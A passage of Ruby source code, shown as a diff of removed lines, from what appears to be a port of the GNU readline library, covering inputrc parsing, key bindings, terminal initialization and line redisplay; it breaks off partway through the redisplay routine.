@current_readline_init_file = filename - @current_readline_init_include_level = include_level - - openname = File.expand_path(filename) - begin - buffer = File.open(openname).read - rescue - return -1 - end - - if (include_level == 0 && filename != @last_readline_init_file) - @last_readline_init_file = filename.dup - end - - @currently_reading_init_file = true - - # Loop over the lines in the file. Lines that start with `#' are - # comments; all other lines are commands for readline initialization. - @current_readline_init_lineno = 1 - - buffer.each_line do |line| - line.strip! - next if line =~ /^#/ - next if line == '' - rl_parse_and_bind(line) - end - - return 0 - end - - # Push _rl_parsing_conditionalized_out, and set parser state based - # on ARGS. - def parser_if(args) - # Push parser state. - @if_stack << @_rl_parsing_conditionalized_out - - # If parsing is turned off, then nothing can turn it back on except - # for finding the matching endif. In that case, return right now. - if @_rl_parsing_conditionalized_out - return 0 - end - - args.downcase! - # Handle "$if term=foo" and "$if mode=emacs" constructs. If this - # isn't term=foo, or mode=emacs, then check to see if the first - # word in ARGS is the same as the value stored in rl_readline_name. - if (@rl_terminal_name && args =~ /^term=/) - # Terminals like "aaa-60" are equivalent to "aaa". - tname = @rl_terminal_name.downcase.gsub(/-.*$/,'') - - # Test the `long' and `short' forms of the terminal name so that - #if someone has a `sun-cmd' and does not want to have bindings - #that will be executed if the terminal is a `sun', they can put - #`$if term=sun-cmd' into their .inputrc. - @_rl_parsing_conditionalized_out = (args[5..-1] != tname && args[5..-1] != @rl_terminal_name.downcase) - elsif args =~ /^mode=/ - if args[5..-1] == "emacs" - mode = @emacs_mode - elsif args[5..-1] == "vi" - $stderr.puts "*** Warning: vi-mode not supported, switching back to emacs mode" - mode = @emacs_mode - else - mode = @no_mode - end - @_rl_parsing_conditionalized_out = (mode != @rl_editing_mode) - # Check to see if the first word in ARGS is the same as the - # value stored in rl_readline_name. - elsif (args == @rl_readline_name) - @_rl_parsing_conditionalized_out = false - else - @_rl_parsing_conditionalized_out = true - end - return 0 - end - - # Invert the current parser state if there is anything on the stack. - def parser_else(args) - if @if_stack.empty? - #_rl_init_file_error ("$else found without matching $if") - return 0 - end - - # Check the previous (n) levels of the stack to make sure that - # we haven't previously turned off parsing. - return 0 if @if_stack.detect {|x| x } - - # Invert the state of parsing if at top level. - @_rl_parsing_conditionalized_out = !@_rl_parsing_conditionalized_out - return 0 - end - - # Terminate a conditional, popping the value of - # _rl_parsing_conditionalized_out from the stack. - def parser_endif(args) - if (@if_stack.length>0) - @_rl_parsing_conditionalized_out = @if_stack.pop - else - #_rl_init_file_error ("$endif without matching $if") - end - 0 - end - - def parser_include(args) - return 0 if (@_rl_parsing_conditionalized_out) - - old_init_file = @current_readline_init_file - old_line_number = @current_readline_init_lineno - old_include_level = @current_readline_init_include_level - - r = _rl_read_init_file(args, old_include_level + 1) - - @current_readline_init_file = old_init_file - @current_readline_init_lineno = old_line_number - @current_readline_init_include_level = old_include_level - - return r - end - - # Handle a parser directive. STATEMENT is the line of the directive - # without any leading `$'. - def handle_parser_directive(statement) - - directive,args = statement.split(' ') - - case directive.downcase - when "if" - parser_if(args) - return 0 - when "endif" - parser_endif(args) - return 0 - when "else" - parser_else(args) - return 0 - when "include" - parser_include(args) - return 0 - end - - #_rl_init_file_error("unknown parser directive") - return 1 - end - - - def rl_variable_bind(name,value) - case name - when "bind-tty-special-chars" - @_rl_bind_stty_chars = value.nil? || value=='1' || value == 'on' - when "blink-matching-paren" - @rl_blink_matching_paren = value.nil? || value=='1' || value == 'on' - when "byte-oriented" - @rl_byte_oriented = value.nil? || value=='1' || value == 'on' - when "completion-ignore-case" - @_rl_completion_case_fold = value.nil? || value=='1' || value == 'on' - when "convert-meta" - @_rl_convert_meta_chars_to_ascii = value.nil? || value=='1' || value == 'on' - when "disable-completion" - @rl_inhibit_completion = value.nil? || value=='1' || value == 'on' - when "enable-keypad" - @_rl_enable_keypad = value.nil? || value=='1' || value == 'on' - when "expand-tilde" - @rl_complete_with_tilde_expansion = value.nil? || value=='1' || value == 'on' - when "history-preserve-point" - @_rl_history_preserve_point = value.nil? || value=='1' || value == 'on' - when "horizontal-scroll-mode" - @_rl_horizontal_scroll_mode = value.nil? || value=='1' || value == 'on' - when "input-meta" - @_rl_meta_flag = value.nil? || value=='1' || value == 'on' - when "mark-directories" - @_rl_complete_mark_directories = value.nil? || value=='1' || value == 'on' - when "mark-modified-lines" - @_rl_mark_modified_lines = value.nil? || value=='1' || value == 'on' - when "mark-symlinked-directories" - @_rl_complete_mark_symlink_dirs = value.nil? || value=='1' || value == 'on' - when "match-hidden-files" - @_rl_match_hidden_files = value.nil? || value=='1' || value == 'on' - when "meta-flag" - @_rl_meta_flag = value.nil? || value=='1' || value == 'on' - when "output-meta" - @_rl_output_meta_chars = value.nil? || value=='1' || value == 'on' - when "page-completions" - @_rl_page_completions = value.nil? || value=='1' || value == 'on' - when "prefer-visible-bell" - @_rl_prefer_visible_bell = value.nil? || value=='1' || value == 'on' - when "print-completions-horizontally" - @_rl_print_completions_horizontally = value.nil? || value=='1' || value == 'on' - when "show-all-if-ambiguous" - @_rl_complete_show_all = value.nil? || value=='1' || value == 'on' - when "show-all-if-unmodified" - @_rl_complete_show_unmodified = value.nil? || value=='1' || value == 'on' - when "visible-stats" - @rl_visible_stats = value.nil? || value=='1' || value == 'on' - when "bell-style" - case value - when "none","off" - @_rl_bell_preference = NO_BELL - when "audible", "on" - @_rl_bell_preference = AUDIBLE_BELL - when "visible" - @_rl_bell_preference = VISIBLE_BELL - else - @_rl_bell_preference = AUDIBLE_BELL - end - when "comment-begin" - @_rl_comment_begin = value.dup - when "completion-query-items" - @rl_completion_query_items = value.to_i - when "editing-mode" - case value - when "vi" - $stderr.puts "*** Warning: vi editing-mode not supported, switching back to emacs" - #@_rl_keymap = @vi_insertion_keymap - #@rl_editing_mode = @vi_mode - @_rl_keymap = @emacs_standard_keymap - @rl_editing_mode = @emacs_mode - when "emacs" - @_rl_keymap = @emacs_standard_keymap - @rl_editing_mode = @emacs_mode - end - when "isearch-terminators" - @_rl_isearch_terminators = instance_eval(value) - when "keymap" - case value - when "emacs","emacs-standard","emacs-meta","emacs-ctlx" - @_rl_keymap = @emacs_standard_keymap - when "vi","vi-move","vi-command" - @_rl_keymap = @vi_movement_keymap - when "vi-insert" - @_rl_keymap = @vi_insertion_keymap - end - end - end - - def rl_named_function(name) - case name - when "accept-line" - return :rl_newline - when "arrow-key-prefix" - return :rl_arrow_keys - when "backward-delete-char" - return :rl_rubout - when "character-search" - return :rl_char_search - when "character-search-backward" - return :rl_backward_char_search - when "copy-region-as-kill" - return :rl_copy_region_to_kill - when "delete-char" - return :rl_delete - when "delete-char-or-list" - return :rl_delete_or_show_completions - when "forward-backward-delete-char" - return :rl_rubout_or_delete - when "kill-whole-line" - return :rl_kill_full_line - when "non-incremental-forward-search-history" - return :rl_noninc_forward_search - when "non-incremental-reverse-search-history" - return :rl_noninc_reverse_search - when "non-incremental-forward-search-history-again" - return :rl_noninc_forward_search_again - when "non-incremental-reverse-search-history-again" - return :rl_noninc_reverse_search_again - when "redraw-current-line" - return :rl_refresh_line - when "self-insert" - return :rl_insert - when "undo" - return :rl_undo_command - when "beginning-of-line" - return :rl_beg_of_line - else - if name =~ /^[-a-z]+$/ - return ('rl_'+name.gsub('-','_')).to_sym - end - end - nil - end - - # Bind KEY to FUNCTION. Returns non-zero if KEY is out of range. - def rl_bind_key(key, function) - @_rl_keymap[key] = function - @rl_binding_keymap = @_rl_keymap - 0 - end - - # Read the binding command from STRING and perform it. - # A key binding command looks like: Keyname: function-name\0, - # a variable binding command looks like: set variable value. - # A new-style keybinding looks like "\C-x\C-x": exchange-point-and-mark. - def rl_parse_and_bind(string) - - # If this is a parser directive, act on it. - if (string[0,1] == "$") - handle_parser_directive(string[1..-1]) - return 0 - end - - # If we aren't supposed to be parsing right now, then we're done. - return 0 if @_rl_parsing_conditionalized_out - - if string =~ /^set/i - _,var,value = string.downcase.split(' ') - rl_variable_bind(var, value) - return 0 - end - - if string =~ /"(.*)"\s*:\s*(.*)$/ - key, funname = $1, $2 - - rl_bind_key(key, rl_named_function(funname)) - end - - 0 - end - - - def _rl_enable_meta_key() - if(@term_has_meta && @_rl_term_mm) - @_rl_out_stream.write(@_rl_term_mm) - end - end - - def rl_set_keymap_from_edit_mode() - if (@rl_editing_mode == @emacs_mode) - @_rl_keymap = @emacs_standard_keymap - elsif (@rl_editing_mode == @vi_mode) - @_rl_keymap = @vi_insertion_keymap - end - end - - def rl_get_keymap_name_from_edit_mode() - if (@rl_editing_mode == @emacs_mode) - "emacs" - elsif (@rl_editing_mode == @vi_mode) - "vi" - else - "none" - end - end - - # Bind some common arrow key sequences in MAP. - def bind_arrow_keys_internal(map) - xkeymap = @_rl_keymap - @_rl_keymap = map - - if RUBY_PLATFORM =~ /mswin|mingw/ - rl_bind_keyseq_if_unbound("\340H", :rl_get_previous_history) # Up - rl_bind_keyseq_if_unbound("\340P", :rl_get_next_history) # Down - rl_bind_keyseq_if_unbound("\340M", :rl_forward_char) # Right - rl_bind_keyseq_if_unbound("\340K", :rl_backward_char) # Left - rl_bind_keyseq_if_unbound("\340G", :rl_beg_of_line) # Home - rl_bind_keyseq_if_unbound("\340O", :rl_end_of_line) # End - rl_bind_keyseq_if_unbound("\340s", :rl_backward_word) # Ctrl-Left - rl_bind_keyseq_if_unbound("\340t", :rl_forward_word) # Ctrl-Right - rl_bind_keyseq_if_unbound("\340S", :rl_delete) # Delete - rl_bind_keyseq_if_unbound("\340R", :rl_overwrite_mode) # Insert - else - rl_bind_keyseq_if_unbound("\033[A", :rl_get_previous_history) - rl_bind_keyseq_if_unbound("\033[B", :rl_get_next_history) - rl_bind_keyseq_if_unbound("\033[C", :rl_forward_char) - rl_bind_keyseq_if_unbound("\033[D", :rl_backward_char) - rl_bind_keyseq_if_unbound("\033[H", :rl_beg_of_line) - rl_bind_keyseq_if_unbound("\033[F", :rl_end_of_line) - - rl_bind_keyseq_if_unbound("\033OA", :rl_get_previous_history) - rl_bind_keyseq_if_unbound("\033OB", :rl_get_next_history) - rl_bind_keyseq_if_unbound("\033OC", :rl_forward_char) - rl_bind_keyseq_if_unbound("\033OD", :rl_backward_char) - rl_bind_keyseq_if_unbound("\033OH", :rl_beg_of_line) - rl_bind_keyseq_if_unbound("\033OF", :rl_end_of_line) - end - - @_rl_keymap = xkeymap - end - - # Try and bind the common arrow key prefixes after giving termcap and - # the inputrc file a chance to bind them and create `real' keymaps - # for the arrow key prefix. - def bind_arrow_keys() - bind_arrow_keys_internal(@emacs_standard_keymap) - bind_arrow_keys_internal(@vi_movement_keymap) - bind_arrow_keys_internal(@vi_insertion_keymap) - end - - # Initialize the entire state of the world. - def readline_initialize_everything() - # Set up input and output if they are not already set up. - @rl_instream ||= $stdin - - @rl_outstream ||= $stdout - - # Bind _rl_in_stream and _rl_out_stream immediately. These values - # may change, but they may also be used before readline_internal () - # is called. - @_rl_in_stream = @rl_instream - @_rl_out_stream = @rl_outstream - - # Allocate data structures. - @rl_line_buffer = "" - - # Initialize the terminal interface. - @rl_terminal_name ||= ENV["TERM"] - _rl_init_terminal_io(@rl_terminal_name) - - # Bind tty characters to readline functions. - readline_default_bindings() - - # Decide whether we should automatically go into eight-bit mode. - _rl_init_eightbit() - - # Read in the init file. - rl_read_init_file(nil) - - # XXX - if (@_rl_horizontal_scroll_mode && @_rl_term_autowrap) - @_rl_screenwidth -= 1 - @_rl_screenchars -= @_rl_screenheight - end - - # Override the effect of any `set keymap' assignments in the - # inputrc file. - rl_set_keymap_from_edit_mode() - - # Try to bind a common arrow key prefix, if not already bound. - bind_arrow_keys() - - # Enable the meta key, if this terminal has one. - if @_rl_enable_meta - _rl_enable_meta_key() - end - - # If the completion parser's default word break characters haven't - # been set yet, then do so now. - @rl_completer_word_break_characters ||= @rl_basic_word_break_characters - end - - def _rl_init_line_state() - @rl_point = @rl_end = @rl_mark = 0 - @rl_line_buffer = "" - end - - # Set the history pointer back to the last entry in the history. - def _rl_start_using_history() - using_history() - @_rl_saved_line_for_history = nil - end - - - def cr_faster(new, cur) - (new + 1) < (cur - new) - end - - #* _rl_last_c_pos is an absolute cursor position in multibyte locales and a - # buffer index in others. This macro is used when deciding whether the - # current cursor position is in the middle of a prompt string containing - # invisible characters. - def prompt_ending_index() - if !@rl_byte_oriented - @prompt_physical_chars - else - (@prompt_last_invisible+1) - end - end - - # Initialize the VISIBLE_LINE and INVISIBLE_LINE arrays, and their associated - # arrays of line break markers. MINSIZE is the minimum size of VISIBLE_LINE - # and INVISIBLE_LINE; if it is greater than LINE_SIZE, LINE_SIZE is - # increased. If the lines have already been allocated, this ensures that - # they can hold at least MINSIZE characters. - def init_line_structures(minsize) - if @invisible_line.nil? # initialize it - if (@line_size < minsize) - @line_size = minsize - end - @visible_line = 0.chr * @line_size - @invisible_line = 0.chr * @line_size # 1.chr - elsif (@line_size < minsize) # ensure it can hold MINSIZE chars - @line_size *= 2 - if (@line_size < minsize) - @line_size = minsize - end - @visible_line << 0.chr * (@line_size - @visible_line.length) - @invisible_line << 1.chr * (@line_size - @invisible_line.length) - end - @visible_line[minsize,@line_size-minsize] = 0.chr * (@line_size-minsize) - @invisible_line[minsize,@line_size-minsize] = 1.chr * (@line_size-minsize) - - if @vis_lbreaks.nil? - @inv_lbreaks = [] - @vis_lbreaks = [] - @_rl_wrapped_line = [] - @inv_lbreaks[0] = @vis_lbreaks[0] = 0 - end - end - - # Return the history entry at the current position, as determined by - # history_offset. If there is no entry there, return a NULL pointer. - def current_history() - return ((@history_offset == @history_length) || @the_history.nil?) ? - nil : @the_history[@history_offset] - end - - def meta_char(c) - c > "\x7f" && c <= "\xff" - end - - def ctrl_char(c) - c < "\x20" - end - - def isprint(c) - c >= "\x20" && c < "\x7f" - end - - def whitespace(c) - (c == ' ' || c == "\t") - end - - def w_offset(line, offset) - ((line) == 0 ? offset : 0) - end - - def vis_llen(l) - ((l) > @_rl_vis_botlin ? 0 : (@vis_lbreaks[l+1] - @vis_lbreaks[l])) - end - - def inv_llen(l) - (@inv_lbreaks[l+1] - @inv_lbreaks[l]) - end - - def vis_chars(line) - @visible_line[@vis_lbreaks[line] .. -1] - end - - def vis_pos(line) - @vis_lbreaks[line] - end - - def vis_line(line) - ((line) > @_rl_vis_botlin) ? "" : vis_chars(line) - end - - def inv_line(line) - @invisible_line[@inv_lbreaks[line] .. -1] - end - - def m_offset(margin, offset) - ((margin) == 0 ? offset : 0) - end - - - # PWP: update_line() is based on finding the middle difference of each - # line on the screen; vis: - # - # /old first difference - # /beginning of line | /old last same /old EOL - # v v v v - # old: eddie> Oh, my little gruntle-buggy is to me, as lurgid as - # new: eddie> Oh, my little buggy says to me, as lurgid as - # ^ ^ ^ ^ - # \beginning of line | \new last same \new end of line - # \new first difference - # - # All are character pointers for the sake of speed. Special cases for - # no differences, as well as for end of line additions must be handled. - # - # Could be made even smarter, but this works well enough - def update_line(old, ostart, new, current_line, omax, nmax, inv_botlin) - # If we're at the right edge of a terminal that supports xn, we're - # ready to wrap around, so do so. This fixes problems with knowing - # the exact cursor position and cut-and-paste with certain terminal - # emulators. In this calculation, TEMP is the physical screen - # position of the cursor. - if @encoding == 'X' - old.force_encoding('ASCII-8BIT') - new.force_encoding('ASCII-8BIT') - end - - if !@rl_byte_oriented - temp = @_rl_last_c_pos - else - temp = @_rl_last_c_pos - w_offset(@_rl_last_v_pos, @visible_wrap_offset) - end - if (temp == @_rl_screenwidth && @_rl_term_autowrap && !@_rl_horizontal_scroll_mode && - @_rl_last_v_pos == current_line - 1) - - if (!@rl_byte_oriented) - # This fixes only double-column characters, but if the wrapped - # character comsumes more than three columns, spaces will be - # inserted in the string buffer. - if (@_rl_wrapped_line[current_line] > 0) - _rl_clear_to_eol(@_rl_wrapped_line[current_line]) - end - - if new[0,1] != 0.chr - case @encoding - when 'E' - wc = new.scan(/./me)[0] - ret = wc.length - tempwidth = wc.length - when 'S' - wc = new.scan(/./ms)[0] - ret = wc.length - tempwidth = wc.length - when 'U' - wc = new.scan(/./mu)[0] - ret = wc.length - tempwidth = wc.unpack('U').first >= 0x1000 ? 2 : 1 - when 'X' - wc = new[0..-1].force_encoding(@encoding_name)[0] - ret = wc.bytesize - tempwidth = wc.ord >= 0x1000 ? 2 : 1 - else - ret = 1 - tempwidth = 1 - end - else - tempwidth = 0 - end - - if (tempwidth > 0) - bytes = ret - @rl_outstream.write(new[0,bytes]) - @_rl_last_c_pos = tempwidth - @_rl_last_v_pos+=1 - - if old[ostart,1] != 0.chr - case @encoding - when 'E' - wc = old[ostart..-1].scan(/./me)[0] - ret = wc.length - when 'S' - wc = old[ostart..-1].scan(/./ms)[0] - ret = wc.length - when 'U' - wc = old[ostart..-1].scan(/./mu)[0] - ret = wc.length - when 'X' - wc = old[ostart..-1].force_encoding(@encoding_name)[0] - ret = wc.bytesize - end - else - ret = 0 - end - if (ret != 0 && bytes != 0) - if ret != bytes - len = old[ostart..-1].index(0.chr,ret) - old[ostart+bytes,len-ret] = old[ostart+ret,len-ret] - end - old[ostart,bytes] = new[0,bytes] - end - else - @rl_outstream.write(' ') - @_rl_last_c_pos = 1 - @_rl_last_v_pos+=1 - if (old[ostart,1] != 0.chr && new[0,1] != 0.chr) - old[ostart,1] = new[0,1] - end - end - - else - if (new[0,1] != 0.chr) - @rl_outstream.write(new[0,1]) - else - @rl_outstream.write(' ') - end - @_rl_last_c_pos = 1 - @_rl_last_v_pos+=1 - if (old[ostart,1] != 0.chr && new[0,1] != 0.chr) - old[ostart,1] = new[0,1] - end - end - end - - # Find first difference. - if (!@rl_byte_oriented) - # See if the old line is a subset of the new line, so that the - # only change is adding characters. - if (index = old.index(0.chr)) && omax+ostart>index - omax = index - ostart - end - if (index = new.index(0.chr)) && nmax>index - nmax = index - end - - temp = (omax < nmax) ? omax : nmax - if old[ostart,temp]==new[0,temp] - ofd = temp - nfd = temp - else - if (omax == nmax && new[0,omax]==old[ostart,omax]) - ofd = omax - nfd = nmax - else - new_offset = 0 - old_offset = ostart - ofd = 0 - nfd = 0 - while(ofd < omax && old[ostart+ofd,1] != 0.chr && - _rl_compare_chars(old, old_offset, new, new_offset)) - - old_offset = _rl_find_next_mbchar(old, old_offset, 1, MB_FIND_ANY) - new_offset = _rl_find_next_mbchar(new, new_offset, 1, MB_FIND_ANY) - ofd = old_offset - ostart - nfd = new_offset - end - end - end - else - ofd = 0 - nfd = 0 - while(ofd < omax && old[ostart+ofd,1] != 0.chr && old[ostart+ofd,1] == new[nfd,1]) - ofd += 1 - nfd += 1 - end - end - - - # Move to the end of the screen line. ND and OD are used to keep track - # of the distance between ne and new and oe and old, respectively, to - # move a subtraction out of each loop. - oe = old.index(0.chr,ostart+ofd) - ostart - if oe.nil? || oe>omax - oe = omax - end - - ne = new.index(0.chr,nfd) - if ne.nil? || ne>omax - ne = nmax - end - - # If no difference, continue to next line. - if (ofd == oe && nfd == ne) - return - end - - - wsatend = true # flag for trailing whitespace - - if (!@rl_byte_oriented) - - ols = _rl_find_prev_mbchar(old, ostart+oe, MB_FIND_ANY) - ostart - nls = _rl_find_prev_mbchar(new, ne, MB_FIND_ANY) - while ((ols > ofd) && (nls > nfd)) - - if (!_rl_compare_chars(old, ostart+ols, new, nls)) - break - end - if (old[ostart+ols,1] == " ") - wsatend = false - end - - ols = _rl_find_prev_mbchar(old, ols+ostart, MB_FIND_ANY) - ostart - nls = _rl_find_prev_mbchar(new, nls, MB_FIND_ANY) - end - else - ols = oe - 1 # find last same - nls = ne - 1 - while ((ols > ofd) && (nls > nfd) && old[ostart+ols,1] == new[nls,1]) - if (old[ostart+ols,1] != " ") - wsatend = false - end - ols-=1 - nls-=1 - end - end - - if (wsatend) - ols = oe - nls = ne - elsif (!_rl_compare_chars(old, ostart+ols, new, nls)) - if (old[ostart+ols,1] != 0.chr) # don't step past the NUL - if !@rl_byte_oriented - ols = _rl_find_next_mbchar(old, ostart+ols, 1, MB_FIND_ANY) - ostart - else - ols+=1 - end - end - if (new[nls,1] != 0.chr ) - if !@rl_byte_oriented - nls = _rl_find_next_mbchar(new, nls, 1, MB_FIND_ANY) - else - nls+=1 - end - end - end - - # count of invisible characters in the current invisible line. - current_invis_chars = w_offset(current_line, @wrap_offset) - if (@_rl_last_v_pos != current_line) - _rl_move_vert(current_line) - if (@rl_byte_oriented && current_line == 0 && @visible_wrap_offset!=0) - @_rl_last_c_pos += @visible_wrap_offset - end - end - - # If this is the first line and there are invisible characters in the - # prompt string, and the prompt string has not changed, and the current - # cursor position is before the last invisible character in the prompt, - # and the index of the character to move to is past the end of the prompt - # string, then redraw the entire prompt string. We can only do this - # reliably if the terminal supports a `cr' capability. - - # This is not an efficiency hack -- there is a problem with redrawing - # portions of the prompt string if they contain terminal escape - # sequences (like drawing the `unbold' sequence without a corresponding - # `bold') that manifests itself on certain terminals. - - lendiff = @local_prompt_len - - if (current_line == 0 && !@_rl_horizontal_scroll_mode && - @_rl_term_cr && lendiff > @prompt_visible_length && @_rl_last_c_pos > 0 && - ofd >= lendiff && @_rl_last_c_pos < prompt_ending_index()) - @rl_outstream.write(@_rl_term_cr) - _rl_output_some_chars(@local_prompt,0,lendiff) - if !@rl_byte_oriented - # We take wrap_offset into account here so we can pass correct - # information to _rl_move_cursor_relative. - @_rl_last_c_pos = _rl_col_width(@local_prompt, 0, lendiff) - @wrap_offset - @cpos_adjusted = true - else - @_rl_last_c_pos = lendiff - end - end - - # When this function returns, _rl_last_c_pos is correct, and an absolute - # cursor postion in multibyte mode, but a buffer index when not in a - # multibyte locale. - _rl_move_cursor_relative(ofd, old, ostart) - - if (current_line == 0 && !@rl_byte_oriented && @_rl_last_c_pos == @prompt_physical_chars) - @cpos_adjusted = true - end - - # if (len (new) > len (old)) - # lendiff == difference in buffer - # col_lendiff == difference on screen - # When not using multibyte characters, these are equal - lendiff = (nls - nfd) - (ols - ofd) - if !@rl_byte_oriented - col_lendiff = _rl_col_width(new, nfd, nls) - _rl_col_width(old, ostart+ofd, ostart+ols) - else - col_lendiff = lendiff - end - - # If we are changing the number of invisible characters in a line, and - # the spot of first difference is before the end of the invisible chars, - # lendiff needs to be adjusted. - if (current_line == 0 && !@_rl_horizontal_scroll_mode && - current_invis_chars != @visible_wrap_offset) - if !@rl_byte_oriented - lendiff += @visible_wrap_offset - current_invis_chars - col_lendiff += @visible_wrap_offset - current_invis_chars - else - lendiff += @visible_wrap_offset - current_invis_chars - col_lendiff = lendiff - end - end - - # Insert (diff (len (old), len (new)) ch. - temp = ne - nfd - if !@rl_byte_oriented - col_temp = _rl_col_width(new,nfd,ne) - else - col_temp = temp - end - if (col_lendiff > 0) # XXX - was lendiff - - # Non-zero if we're increasing the number of lines. - gl = current_line >= @_rl_vis_botlin && inv_botlin > @_rl_vis_botlin - # Sometimes it is cheaper to print the characters rather than - # use the terminal's capabilities. If we're growing the number - # of lines, make sure we actually cause the new line to wrap - # around on auto-wrapping terminals. - if (@_rl_terminal_can_insert && ((2 * col_temp) >= col_lendiff || @_rl_term_IC) && (!@_rl_term_autowrap || !gl)) - - # If lendiff > prompt_visible_length and _rl_last_c_pos == 0 and - # _rl_horizontal_scroll_mode == 1, inserting the characters with - # _rl_term_IC or _rl_term_ic will screw up the screen because of the - # invisible characters. We need to just draw them. - if (old[ostart+ols,1] != 0.chr && (!@_rl_horizontal_scroll_mode || @_rl_last_c_pos > 0 || - lendiff <= @prompt_visible_length || current_invis_chars==0)) - - insert_some_chars(new[nfd..-1], lendiff, col_lendiff) - @_rl_last_c_pos += col_lendiff - elsif ((@rl_byte_oriented) && old[ostart+ols,1] == 0.chr && lendiff > 0) - # At the end of a line the characters do not have to - # be "inserted". They can just be placed on the screen. - # However, this screws up the rest of this block, which - # assumes you've done the insert because you can. - _rl_output_some_chars(new,nfd, lendiff) - @_rl_last_c_pos += col_lendiff - else - # We have horizontal scrolling and we are not inserting at - # the end. We have invisible characters in this line. This - # is a dumb update. - _rl_output_some_chars(new,nfd, temp) - @_rl_last_c_pos += col_temp - return - end - # Copy (new) chars to screen from first diff to last match. - temp = nls - nfd - if ((temp - lendiff) > 0) - _rl_output_some_chars(new,(nfd + lendiff),temp - lendiff) - # XXX -- this bears closer inspection. Fixes a redisplay bug - # reported against bash-3.0-alpha by Andreas Schwab involving - # multibyte characters and prompt strings with invisible - # characters, but was previously disabled. - @_rl_last_c_pos += _rl_col_width(new,nfd+lendiff, nfd+lendiff+temp-col_lendiff) - end - else - # cannot insert chars, write to EOL - _rl_output_some_chars(new,nfd, temp) - @_rl_last_c_pos += col_temp - # If we're in a multibyte locale and were before the last invisible - # char in the current line (which implies we just output some invisible - # characters) we need to adjust _rl_last_c_pos, since it represents - # a physical character position. - end - else # Delete characters from line. - # If possible and inexpensive to use terminal deletion, then do so. - if (@_rl_term_dc && (2 * col_temp) >= -col_lendiff) - - # If all we're doing is erasing the invisible characters in the - # prompt string, don't bother. It screws up the assumptions - # about what's on the screen. - if (@_rl_horizontal_scroll_mode && @_rl_last_c_pos == 0 && - -lendiff == @visible_wrap_offset) - col_lendiff = 0 - end - - if (col_lendiff!=0) - delete_chars(-col_lendiff) # delete (diff) characters - end - - # Copy (new) chars to screen from first diff to last match - temp = nls - nfd - if (temp > 0) - _rl_output_some_chars(new,nfd, temp) - @_rl_last_c_pos += _rl_col_width(new,nfd,nfd+temp) - end - - # Otherwise, print over the existing material. - else - if (temp > 0) - _rl_output_some_chars(new,nfd, temp) - @_rl_last_c_pos += col_temp # XXX - end - - lendiff = (oe) - (ne) - if !@rl_byte_oriented - col_lendiff = _rl_col_width(old, ostart, ostart+oe) - _rl_col_width(new, 0, ne) - else - col_lendiff = lendiff - end - - if (col_lendiff!=0) - if (@_rl_term_autowrap && current_line < inv_botlin) - space_to_eol(col_lendiff) - else - _rl_clear_to_eol(col_lendiff) - end - end - end - end - end - - # Basic redisplay algorithm. - def rl_redisplay() - return if !@readline_echoing_p - - _rl_wrapped_multicolumn = 0 - - @rl_display_prompt ||= "" - - if (@invisible_line.nil? || @vis_lbreaks.nil?) - init_line_structures(0) - rl_on_new_line() - end - - # Draw the line into the buffer. - @cpos_buffer_position = -1 - - line = @invisible_line - out = inv_botlin = 0 - - # Mark the line as modified or not. We only do this for history - # lines. - modmark = 0 - if (@_rl_mark_modified_lines && current_history() && @rl_undo_list) - line[out,1] = '*' - out += 1 - line[out,1] = 0.chr - modmark = 1 - end - - # If someone thought that the redisplay was handled, but the currently - # visible line has a different modification state than the one about - # to become visible, then correct the caller's misconception. - if (@visible_line[0,1] != @invisible_line[0,1]) - @rl_display_fixed = false - end - - # If the prompt to be displayed is the `primary' readline prompt (the - # one passed to readline()), use the values we have already expanded. - # If not, use what's already in rl_display_prompt. WRAP_OFFSET is the - # number of non-visible characters in the prompt string. - if (@rl_display_prompt == @rl_prompt || @local_prompt) - - if (@local_prompt_prefix && @forced_display) - _rl_output_some_chars(@local_prompt_prefix,0,@local_prompt_prefix.length) - end - if (@local_prompt_len > 0) - - temp = @local_prompt_len + out + 2 - if (temp >= @line_size) - @line_size = (temp + 1024) - (temp % 1024) - if @visible_line.length >= @line_size - @visible_line = @visible_line[0,@line_size] - else - @visible_line += 0.chr * (@line_size-@visible_line.length) - end - - if @invisible_line.length >= @line_size - @invisible_line = @invisible_line[0,@line_size] - else - @invisible_line += 0.chr * (@line_size-@invisible_line.length) - end - if @encoding=='X' - @visible_line.force_encoding('ASCII-8BIT') - @invisible_line.force_encoding('ASCII-8BIT') - end - line = @invisible_line - end - line[out,@local_prompt_len] = @local_prompt - out += @local_prompt_len - end - line[out,1] = 0.chr - @wrap_offset = @local_prompt_len - @prompt_visible_length - else - prompt_this_line = @rl_display_prompt.rindex("\n") - if prompt_this_line.nil? - prompt_this_line = 0 - else - prompt_this_line+=1 - - pmtlen = prompt_this_line # temp var - if (@forced_display) - _rl_output_some_chars(@rl_display_prompt,0,pmtlen) - # Make sure we are at column zero even after a newline, - #regardless of the state of terminal output processing. - if (pmtlen < 2 || @rl_display_prompt[prompt_this_line-2,1] != "\r") - cr() - end - end - end - - @prompt_physical_chars = pmtlen = @rl_display_prompt.length - prompt_this_line - temp = pmtlen + out + 2 - if (temp >= @line_size) - @line_size = (temp + 1024) - (temp % 1024) - if @visible_line.length >= @line_size - @visible_line = @visible_line[0,@line_size] - else - @visible_line += 0.chr * (@line_size-@visible_line.length) - end - - if @invisible_line.length >= @line_size - @invisible_line = @invisible_line[0,@line_size] - else - @invisible_line += 0.chr * (@line_size-@invisible_line.length) - end - if @encoding=='X' - @visible_line.force_encoding('ASCII-8BIT') - @invisible_line.force_encoding('ASCII-8BIT') - end - - line = @invisible_line - end - line[out,pmtlen] = @rl_display_prompt[prompt_this_line,pmtlen] - out += pmtlen - line[out,1] = 0.chr - @wrap_offset = @prompt_invis_chars_first_line = 0 - end - # inv_lbreaks[i] is where line i starts in the buffer. - @inv_lbreaks[newlines = 0] = 0 - lpos = @prompt_physical_chars + modmark - - @_rl_wrapped_line = Array.new(@visible_line.length,0) - num = 0 - - # prompt_invis_chars_first_line is the number of invisible characters in - # the first physical line of the prompt. - # wrap_offset - prompt_invis_chars_first_line is the number of invis - # chars on the second line. - - # what if lpos is already >= _rl_screenwidth before we start drawing the - # contents of the command line? - while (lpos >= @_rl_screenwidth) - # fix from Darin Johnson <darin@acuson.com> for prompt string with - # invisible characters that is longer than the screen width. The - # prompt_invis_chars_first_line variable could be made into an array - # saying how many invisible characters there are per line, but that's - # probably too much work for the benefit gained. How many people have - # prompts that exceed two physical lines? - # Additional logic fix from Edward Catmur <ed@catmur.co.uk> - if (!@rl_byte_oriented) - n0 = num - temp = @local_prompt_len - while (num < temp) - z = _rl_col_width(@local_prompt, n0, num) - if (z > @_rl_screenwidth) - num = _rl_find_prev_mbchar(@local_prompt, num, 